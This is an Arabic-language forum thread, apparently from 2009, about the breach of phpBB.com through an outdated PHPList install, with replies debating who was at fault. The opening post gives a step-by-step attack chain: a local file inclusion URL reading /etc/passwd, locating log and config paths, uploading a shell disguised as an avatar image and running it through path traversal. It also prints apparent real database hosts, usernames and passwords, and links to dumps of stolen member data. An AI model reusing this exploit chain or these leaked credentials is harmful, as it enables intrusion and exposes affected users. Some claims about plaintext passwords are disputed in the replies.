phpBB.com Hacked

[MSH3AL]

السلام عليكم ...

بصراحة اليوم فاجئني خبر من صديق لي يقلي على إختراق موقع البرنامج الشهير www.phpBB.com

حيث انه قام بإختراقها بأسهل طريقة لم تتوقع ! عن طريق برنامج الPHPlist المعروف ايضا ولاكن للاسف قبل ايام قليلة

طرحت ثغره فيه بلميلورم

الثغره عبارة عن Local File Inclusion Exploit حيث قام المخترق بلولوج لملف ال/etc/passwd لسيرفر البرنامج عن طريق الامر

http://www.phpbb.com/lists/admin/index.php?_SERVER%5bConfigFile%5d=../../../../../../etc/passwd

والملف طبعا تم رفعه على الرايبد شير

http://rapidshare.com/files/192159914/etc.txt

ومن ثم توجه الى ملف الاباتشي لمعرفه مسار الموقع

/etc/httpd/conf/httpd.conf

وتم الوصول لملف الإيرر

/home/logs/phpbb.com/error_log

ومن ثم تم معرفة مسار منتديات الphpBB

home/virtual/phpbb.com/community

ومعروف عن منتديات الphpBB انك تستطيع حقن كود (شيل) بملف الerror log , ولو تركب منتدى phpBB بجهازك تشوف المسار يكون كدا

/home/virtual/phpbb.com/community/images/avatars/upload

وثم تم حقن الكود (شيل) عن طريق رفع الصورة

(secret hash)_userid.jpg

ومن ثم قام بمعرفة السيكريت كود حق الشل ( الصورة ) عن طريقة ملف الإيرر لوج الي تم إيضاحه مسبقا

f51ee61fe7a83fdf72780912bced0855

وبعدها يصير كل مايبي يشغل الكود ( الشيل ) بلطريقة هذه ( مثل تخطي المود سيكيورتي)..

/../../../../../../home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg

وهذه الطريقة كان المخترق بيمتحن سيرفرهم اذا تمشي عليهم ام لا ... بحيث كان السكربت يقرا الكونفيج

/home/virtual/phpbb.com/community/config.php

$dbms = 'mysqli';
$dbhost = 'phpbb.db.osuosl.org';
$dbport = '';
$dbname = 'phpbb';
$dbuser = 'phpbb2';
$dbpasswd = 'saxM9nfRjLbJ2Yy5';
$table_prefix = 'community_';

وتم قرائة ملف الكونفيج لبرنامج الPHPLIST :dالمصيبة هذا هع هع

$database_host = "localhost";
$database_name = "phpbb_phplist";
$database_user = 'phplist';
$database_password = 'Berti3_Danc3';

طبعا هذه الطريقة شرحتها لكم من موقع قام بعمله على الرابط http://hackedphpbb.blogspot.com/

وبلنهاية تم سحب باسووردات الاعضاء اكثر من 200.000 الف عضو بلإضافة الى باسووردات وايميلات مشتركين بنحو

400.000 الف عضو ! والمصيبة انه باسوورداتهم كلها كلير تكست !!!!

وهذه القواعد ومعلومات الأعضاء وايميلاتهم تم رفعها على الرايبد شير

http://rapidshare.com/files/192305758/out.txt
http://rapidshare.com/files/192304153/phpbb_users.sql
http://hackedphpbb.pastebin.com/f1399b3e8
http://rapidshare.com/files/192261517/backup_sql.gz

وبلنهاية رسالتهم من الموقع !

Maintenance

We are sorry to report that we have been attacked through a vulnerability in an outdated PHPList installation. phpBB.com and related sites will remain unavailable while we work to recover. No vulnerabilities have been found in the phpBB software itself.

You can download phpBB here: http://www.ohloh.net/p/phpbb

You can get support at the temporary support forums or on IRC: chat.freenode.net #phpbb

– the phpBB team

ونتمنى من الاخوة اخذ الإختراق هذا موعظة لعدم نسيان او التهاون بوجود ملفات قديمة بلمنتدى !

حيث انه المخترق كان عضو قديم بلمنتدى وتذكر ! انه الموقع يحتوي على البرنامج المصاب !

وقام المخترق بتوضيح إختراقه للموقع حيث قال

-----------------------------------UPDATE
to all that same i am a script kiddie, **** you
phpbb, i did not alter any files on your server, everything i gained access to has been listed in this blog

تحياتي !

:nice:
المصـــدر

[زائرечр]

انت تتكلم على phpbb2 فعلاً كانت فى ثغرات وتم اصلاحها والان phpbb3 أقوى

طيب هل تقصد بموضوع ان vBulletin أمان ودائماً نشاهد منتديات عربية مخترقة XD

لايوجد شيء على الانترنت امن بضل التطور الكبير اللى وصلوا لة الهكرز

كنت اقراء فى مجلة فى العام 2005 << غبار

تقول هجوم اليوم صفر كانت متفائلة ان تنخفظ القرصنة و الهكرز والهجمات الى الصفر فى عالم 2008

ولكن للاسف الصفر يذهب على اليمن ويزداد العدد لوووولز حتى ان الهكرز الان اصبحوا اكثر تطورنى من السابق

لا تستغرب اذا سمعت موضوع يكون عنوانة Google Hacked فى يوم من الايام

[malj]

والمصيبة انه باسوورداتهم كلها كلير تكست !!!!

فقط للتوضيح فهذه المعلومة غير صحيحة
كلمات السر تكون مشفرة في قاعدة البيانات

[Source4host]

أنا أرى ان المنتديات التى أثبتت جداراتها فى مجالات الحماية هي منتديات IPB وبجدارة

و ان شاء الله الجيل الثالث أقوى و كله مميزات

و اتوقع ان يذهب مستخدمى الـ VB و الـ PHP وغيرهم الى منتديات الـ IPB بعد ان يرووا المميزات الخارقه الموجوده فيها

[سليمان عبدالعزيز]

وش جاكم ^^ ؟؟؟
ومين قال ان الـphpbb مو محميه الإختراق عن طريق برنامج PHPlist وهالبرنامج مادري وشو واول مره اسمع فيه بس شكله من نفس برمجة فريق phpbb وكان مرفوع على نفس السيرفر وقدرو من خلال رفع شل على PHPlist انهم ينتقلون بالسيرفر لـ phpbb ^^
واي برنامج مصاب بالسيرفر لو انك مركب سكربت برمجه خاصه ومحمي تقدر توووصل له لان كل برنامج له كونفق ^^ والكونفق مجرد معرفة معلوماته تتصل فيه عن طريق اي برنامج وتقدر تحوس بقواعده ^^

[M6NU5]

حيث انه قام بإختراقها بأسهل طريقة لم تتوقع ! عن طريق برنامج الPHPlist

هذا يثبت أن الاختراق لم يكن من برنامج المنتديات phpBB3 وهذا هو المهم!!
أحياناً قد يكون الاختراق عن طريق اختراق السيرفر نفسه وهذا لا يعيب برنامج المنتديات phpBB3

[drabdalla]

1- الارقام السرية للاعضاء كلها مشفرة و ليست كلير تكست على الاطلاق

phpBB32- آمنة 100% و ذلك عن تجربة طويلة جدا جدا بدون اى اختراق و كما هو واضح الاختراق تم عن طريق phplist و هى ليست من برمجة فريق phpBB انما هى سكربت جاهز و مجانى للقوائم البريدية

3- ارجو تعديل الموضوع لانه يحتوى على معلومات كثيرة خاطئة ، و ارجو حذف كل الروابط لانها لم تعد تعمل و تم حذفها بالكامل .

[MSH3AL]

فقط للتوضيح فهذه المعلومة غير صحيحة
كلمات السر تكون مشفرة في قاعدة البيانات

لا اخي لو قرات الموضوع صحيح لكن عرفت قصدي بها انه الباسووردات كلير لبرنامج phplist

وليس phpbb علما بانه تم فك الباسووردات للهاش 200 الف عضو تم فك 46000 الف باسوورد من الهاش !

[MSH3AL]

أنا أرى ان المنتديات التى أثبتت جداراتها فى مجالات الحماية هي منتديات IPB وبجدارة

و ان شاء الله الجيل الثالث أقوى و كله مميزات

و اتوقع ان يذهب مستخدمى الـ VB و الـ PHP وغيرهم الى منتديات الـ IPB بعد ان يرووا المميزات الخارقه الموجوده فيها

صحيح كلامك اخي مع العلم المنتديات هذه ظهر لهاثغره ريموت طيحت الموقع الرئيسي لهم وكثير مواقع مشهورة اخرى

[MSH3AL]

وش جاكم ^^ ؟؟؟
ومين قال ان الـphpbb مو محميه الإختراق عن طريق برنامج PHPlist وهالبرنامج مادري وشو واول مره اسمع فيه بس شكله من نفس برمجة فريق phpbb وكان مرفوع على نفس السيرفر وقدرو من خلال رفع شل على PHPlist انهم ينتقلون بالسيرفر لـ phpbb ^^
واي برنامج مصاب بالسيرفر لو انك مركب سكربت برمجه خاصه ومحمي تقدر توووصل له لان كل برنامج له كونفق ^^ والكونفق مجرد معرفة معلوماته تتصل فيه عن طريق اي برنامج وتقدر تحوس بقواعده ^^

هذا الي صار 100% اخي ... لو تشوف الموقع الرئيسي يبين لك انه البرنامج phpBB مابيه اي عيب وكل الإختراق تم عن طريق ثغره ببرنامج الPHPlist كما وضحنا سابقا ..

ياريت شباب تقروا الموضوع بفهم شوية وماتجاوبون اي جواب من عندكم بدون علم فيه ...

تحياتي .

[MSH3AL]

1- الارقام السرية للاعضاء كلها مشفرة و ليست كلير تكست على الاطلاق

phpBB32- آمنة 100% و ذلك عن تجربة طويلة جدا جدا بدون اى اختراق و كما هو واضح الاختراق تم عن طريق phplist و هى ليست من برمجة فريق phpBB انما هى سكربت جاهز و مجانى للقوائم البريدية

3- ارجو تعديل الموضوع لانه يحتوى على معلومات كثيرة خاطئة ، و ارجو حذف كل الروابط لانها لم تعد تعمل و تم حذفها بالكامل .

اكرر مره ثانية الاختراق تم عن طريق برنامج الPHPlist وليس phpbb !!! فلا تقولي البرنامج امن اخي ...

الموضوع مبين انه البرنامج تم اختراقه عن طريق ثغره ! ماهي شغله صعبه لتنفهم انه البرنامج مابيه اي ثغره وتم الوصول لإختراقه عن طريق برنامج اخر !

حتى برنامج الشهير Wordpress يخترقونه الايام هذه عن طريق برامج البلاقن التكون على المسار

home/username/public_html/wordpress/wp-content/plugins

هذا الملف يحتوي على البلاقن المركب بلموقع ومنه يتم اختراق الموقع إن وجد ثغره بإحدى الهاكات المركبة ! وهذا لا يعني العيب بلبرنامج وإنما العيب بصاحب البرنامج الي يركب الهاكات بدون لاعلم له بتأثيراتها ...

حتى ايميلات والمواقع المسجلة عن طريق جوجل كانت لتخترق لو زالت الثغره XSS موجودة فيه !

قبل يومين نزلت ثغره بجوجل XSS تخليك تدخل على اي حساب جوجل وتغير معلوماتة !!

30/01/2009 - Google xss - سوالف سوفت

تحياتي .

[منصور الدويغري]

http://www.swalif.net/softs/swalif54/softs254308/

phpBBArabia &bull; مشاهدة الموضوع - ماذا حدث للموقع الأم

Area51 @ phpBB.com &bull; View topic - Downtime and Server Compromise